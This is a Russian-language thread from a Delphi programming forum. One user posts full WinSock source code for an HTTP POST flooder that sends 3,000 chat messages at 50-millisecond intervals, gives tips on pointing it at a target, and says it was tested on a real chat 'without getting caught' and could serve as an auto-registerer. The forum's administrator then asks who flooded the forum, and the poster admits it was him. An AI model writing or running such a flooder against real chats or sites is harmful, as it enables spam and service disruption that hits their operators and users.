|
gravitas
|
Дата: Воскресенье, 15.05.2011, 16:40 | Сообщение # 1
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Выкладываю пример флудера по протоколу HTTP (сайты, чаты). Флудит методом POST запросов, отсылающихся при помощи WinSock. Чуть переделать, и может применяться даже как автореггер (если капчи нет). Тестировался на чате дельфкода (без палева  ) и еще одном чате. Структуру запроса для отправки узнавать с помощью HTTP сниффера.
Code
program flood;
{$APPTYPE CONSOLE}
uses
Windows,
WinSock,
SysUtils;
var
WSA:TWSAData;
S:TSocket;
sin:TSockAddr;
const
Req = 'nick=You_Name&hash=You_Hash&d=send&last=1459&msg=Text_Message';
IPHost = 'xxx.xxx.xxx.xxx';
MaxMess = 3000;
x = #13#10;
function CreateSock : boolean;
begin
result:=false;
WSAStartup($101, WSA);
S:=Socket(AF_INET, SOCK_STREAM, 0);
sin.sin_family:=AF_INET;
sin.sin_port:=htons(80);
sin.sin_addr.S_addr:=inet_addr(IPHost);
if (Connect(s, sin, SizeOf(sin)) = 0) then
result:=true;
end;
procedure SendText(Text:string);
begin
if send(s, Text[1], Length(Text), 0) = socket_error
then MessageBox(0,'Error','PiPeC',0);
end;
var
i:integer;
y:string;
begin
If CreateSock then begin
y:=
'POST /script.php HTTP/1.1'+x+
'User-Agent: Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10'+x+
'Host: cp1251.darkoff.ru'+x+
'Accept: */*;q=0.1'+x+
'Accept-Encoding: gzip,deflate'+x+
'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8'+x+
'Referer: http://yandex.ru'+ x +
'Cookie2: $Version=1' + x +
'Content-length: '+IntToStr(Length(Req))+x+
'Content-Type: application/x-www-form-urlencoded'+x+
'Connection: Keep-Alive'+x+x+
Req;
for i:=1 to MaxMess do begin
SendText(y);
WriteLn(IntToStr(i)+' Message');
sleep(50);
end;
WriteLn('Off');
end;
CloseSocket(S);
WSACleanup();
ReadLn;
end.
TheDeduction
Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
| |
|
|
|
gravitas
|
Дата: Воскресенье, 30.10.2011, 11:49 | Сообщение # 2
|
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Пинг хоста дает айпи, который и нужно вставлть.
TheDeduction
Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
| |
|
|
|
gravitas
|
Дата: Воскресенье, 30.10.2011, 11:53 | Сообщение # 3
|
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Структуру Post\Get запросов смотрите в инете.
TheDeduction
Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
| |
|
|
|
gravitas
|
Дата: Воскресенье, 30.10.2011, 13:03 | Сообщение # 4
|
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Тогда учите винсок, иначе этот код для вас будет бесполезен.
TheDeduction
Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
| |
|
|
|
dolphin
|
Дата: Понедельник, 31.10.2011, 10:42 | Сообщение # 5
|
Администратор
Сообщений: 902
Статус: Offline
|
А кто нафлудил у нас на форуме?
Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle
Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
|
| |
|
|
|
gravitas
|
Дата: Вторник, 01.11.2011, 08:07 | Сообщение # 6
|
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
За что боролись - на то и напоролись
Эт я недоглядел.
TheDeduction
Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
| |
|
|
